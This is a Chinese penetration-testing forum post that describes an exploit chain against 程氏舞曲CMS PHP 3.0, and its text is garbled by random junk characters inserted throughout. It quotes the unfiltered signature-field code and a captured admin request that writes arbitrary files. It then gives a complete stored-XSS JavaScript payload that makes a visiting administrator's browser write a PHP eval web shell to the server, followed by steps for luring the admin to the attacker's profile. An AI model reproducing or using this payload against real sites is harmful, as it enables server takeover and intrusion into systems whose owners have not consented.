中国网络渗透测试联盟

标题: 程氏舞曲CMSPHP3.0 储存型xss getshell [打印本页]

作者: admin    时间: 2013-11-6 18:09
标题: 程氏舞曲CMSPHP3.0 储存型xss getshell
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题7 j  p6 d3 W4 F# O+ E; }7 f/ P
官网已经修补了,所以重新下了源码
% Q' o3 S% X/ g3 d  v6 F因为 后台登入 还需要认证码 所以 注入就没看了。8 ?% o* A, f1 m! z. V
存在 xss; P" r; ?" j! @' v$ u' J
漏洞文件 user/member/skin_edit.php
  W' A, |. A/ U  z- K本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:
+ J) H- {6 t- D8 C  
/ W3 Y$ V" ^/ A3 z1 P</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>
% f8 z2 n: q9 b  * P! s3 M* }. l7 `
</textarea></td></tr>" h; X$ ?( F9 v8 h5 K3 e9 s, A/ Y
  & j- P+ V% s8 B- q: R1 e% o
             user/do.php
+ _( E* s) a% z6 T* P0 A8 Z- t1 h' W" D7 p

3 v+ ?2 H: A$ L. R2 I3 S: Eif($op=='zl'){ //资料
  p  O$ s$ E; {9 w/ b& U  
  Z; `5 n! E8 u, ]             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email))
$ U! u1 U' n% O! b7 r             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));
9 k  t. o# d; a* ~( w& @  9 R  L  B8 w" t
             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',
; a0 ~* n4 ]2 g/ W  
8 O2 C9 G, E# Y5 E/ Y0 v; o             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'
+ U' N" J& R' |$ r5 C" L             where CS_Name='".$cscms_name."'";
  H* \0 I) z: e$ v) }2 U  
8 ~, C2 a! ~( L1 ]7 y8 {8 t             if($db->query($sql)){+ V! K& k, D' F( B9 H
  ) F5 B) e4 b2 }7 v
              exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));
3 h$ N' k, l+ Q( S1 U; _  
% y4 X0 ~5 a4 {; ?( j1 w             }else{9 ^. U8 h6 K) I2 I
  
: p4 J2 W- z+ V/ f' R; |3 w% x              exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));
" g0 c: u7 o" m( H8 U- v  / r* D  T3 @# ?+ S
             }: w% @1 d% X3 V
; }' v4 T# m( k+ K

4 r2 ?$ X, C3 u$ z没有 过滤导致xss产生。
& _4 X' B) b5 a' b6 f# ^后台 看了下 很奇葩的是可以写任意格式文件。。
! b8 |& }* W1 t, Q- X抓包。。
5 Z5 K2 i+ O8 i, B+ i- O+ x5 w
6 a6 T& K* u9 b: W1 i- k9 e9 F" z( {  d2 `
本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1
+ i( c+ J; v: j! D  ) q5 J9 ?& U$ y) }- x% F
Accept: text/html, application/xhtml+xml, */*, t: H  v# P+ ]# s4 h8 x
  2 t# l7 R" l1 T+ h/ T' t  ]
Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php5 c# [& t  [4 g3 U3 M1 M, e
  4 Y; y$ x! K; }  Z( m
Accept-Language: zh-CN
( Z  t3 u& L- ~3 G$ b2 Y0 _( D  
! e4 S* N4 K6 T4 `# S: vUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
; c* Q/ N0 u* }+ u" J8 r( g  
! T5 U& r: [; w. F; ZContent-Type: application/x-www-form-urlencoded
! y% ]+ B0 `0 W7 L+ \, U  + \4 ]: \% E4 m' ?
Accept-Encoding: gzip, deflate
, M$ ]* {/ @; n  u; d- w. ~  
# E5 `7 ^( v8 F" Z7 vHost: 127.0.0.1
+ O. J2 L) M' u0 z9 R  
% }' @) g* D5 ~Content-Length: 38
! {8 W! w8 k& L* |5 \0 P, p  
5 `2 k9 [1 _3 W2 a, ODNT: 1: p. @# t/ \; N  M) z( C
  
3 B( h$ D2 m+ W& ]# ~7 _! [  U- W2 iConnection: Keep-Alive' \5 W% B7 W4 Q! |( G
  / d* ~3 H. q# {, P" P& f
Cache-Control: no-cache
3 }( _7 n- j, D. I* z2 H$ g* T0 J  J  T  1 o. P- f; k3 t( v
Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594
) W" [  A7 x, u7 c$ t  # ?+ O% y1 e1 W- k5 m0 m2 S

4 ^' M& t! [. _# J, o2 c- yname=aaa.php&content=%3Cs%3E%3Ca%25%3E
+ b4 ~: f# H+ V* c0 l8 y
% ^2 f0 d. s- S, T! r
/ l: q/ `5 a$ D- u. K8 a+ c
+ C4 W$ j$ m# m2 N9 |7 s' P& q于是 构造js如下。. ?: F$ ]0 @2 k& R7 b% x$ x

+ w; g# X/ K. f& S+ y9 F$ r本帖隐藏的内容<script>
4 S( C! x0 ~$ z: R& C6 n1 X( c7 @thisTHost = top.location.hostname;
! H) _7 W0 |6 Q! \  ^9 a  
$ S  v6 r0 U( B0 L0 {$ M( YthisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";
# a4 `! Z2 y) X% r+ d" s  + m4 y3 i. C4 Z
function PostSubmit(url, data, msg) {
0 S* ^5 m$ l# w. j    var postUrl = url;( y- ]4 ]8 @/ i9 a
  2 D6 a2 G$ a& a' m8 ]: D9 [
    var postData = data;
2 B$ v, o: c( X: \# D- }7 f    var msgData = msg;
2 C8 G( g& N) W! b" b. @# R5 v    var ExportForm = document.createElement("FORM"); ! I8 m+ p- F1 I; b# Q' g
    document.body.appendChild(ExportForm); + |# ?- ^8 r& Q: a
    ExportForm.method = "POST"; 7 Z& L5 J4 [7 o
    var newElement = document.createElement("input"); + ^# H) g8 G' M. F2 [- u
    newElement.setAttribute("name", "name");
: f% a# N1 Q  h7 N- B" J: d" T    newElement.setAttribute("type", "hidden"); 8 T: L: q. Z( x- B
    var newElement2 = document.createElement("input");
# P' z5 L/ @7 ?# D9 s    newElement2.setAttribute("name", "content"); 9 P0 j  c* s+ \7 I( p6 S
    newElement2.setAttribute("type", "hidden");
" t* u( ]7 E6 {+ I) m    ExportForm.appendChild(newElement); + O$ H& k  x( V# o' x2 f& N  c
    ExportForm.appendChild(newElement2);
' X* g2 k5 b3 e+ F3 c3 l    newElement.value = postData;
& {) q$ W! F% D+ T    newElement2.value = msgData;   u, S* \+ q; U9 |0 c
    ExportForm.action = postUrl; . |3 n, k/ ?9 D4 F' Z, e$ J
    ExportForm.submit(); ' y9 Q3 G8 I) a9 a4 _& d# b
};
5 _% [! M1 A% n% d( d2 u  
0 B( C5 ?4 D' x7 J7 W6 UPostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");
0 _# W7 B% u; M3 L% N$ y1 c; K* }  
4 R5 y" b- b, Y3 q0 L4 _( I5 u/ X2 `</script>
5 n0 N# _) A2 k7 t0 ^! ^. O# G9 E2 P: K! J' H& C

/ w4 z6 [3 E# T0 u: @  d4 D7 _( I- y8 v, I8 x
http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入
# w' B, W, x0 o8 d0 N$ d用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2(uid自己改)
- f. a0 M7 C6 T& b0 S就会 在 skins\index\html\目录下生成 roker.php 一句话。

7 }7 W3 B$ w: S; s( M$ E




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2